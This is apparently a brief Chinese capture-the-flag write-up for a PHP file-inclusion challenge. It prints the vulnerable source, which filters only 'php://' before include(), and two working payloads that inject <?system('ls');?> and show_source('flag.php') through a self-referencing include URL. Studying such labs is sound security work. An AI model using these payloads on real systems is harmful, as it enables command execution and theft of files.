Web_php_include(write up)

漏洞原理：php文件包含

1.首先，审计代码。

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

很明显，用get传了两个参数，hello,page,且过滤了一些php伪协议,echo函数回显hello的值,不能用伪协议，include函数会自动包含文件，并执行其中的php代码，而index.php是唯一可利用的文件

2.于是有payload

?page=http://127.0.0.1/index.php/?hello=<?system("ls");?>
?page=http://127.0.0.1/index.php/?hello=<?show_source("flag.php");?>

连接知识点：

1.

php伪协议

2.

文件包含漏洞